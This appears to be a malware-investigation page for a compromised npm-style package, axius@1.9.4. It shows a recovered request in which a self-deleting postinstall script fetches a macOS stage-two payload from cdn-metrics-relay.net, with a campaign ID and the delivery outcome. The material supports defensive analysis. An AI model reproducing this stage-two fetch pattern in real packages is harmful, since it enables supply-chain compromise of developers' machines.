Recovered check-in from axius@1.9.4 · 2026-02-10T04:15:03Z (T+2223s)
Recovered request
GET /stage2/macos HTTP/1.1
Host: cdn-metrics-relay.net:9200
X-Campaign-Id: cl-h6jkxv6p
User-Agent: node-fetch/1.0
X-Forwarded-For: 198.51.100.172
Handler outcome
- Source IP
- 198.51.100.172
- Detected platform
- macos
- Check-in time
- 2026-02-10T04:15:03Z
- Stage2 outcome
-
delivered (200)
This is the single recovered postinstall run for this host, cipher-lite-js's `setup.js`
executes once and self-deletes; there is no ongoing implant to inspect beyond this one request.
See this campaign's Stage 2 Payload tab for the config
this response would have carried.
← back to axius@1.9.4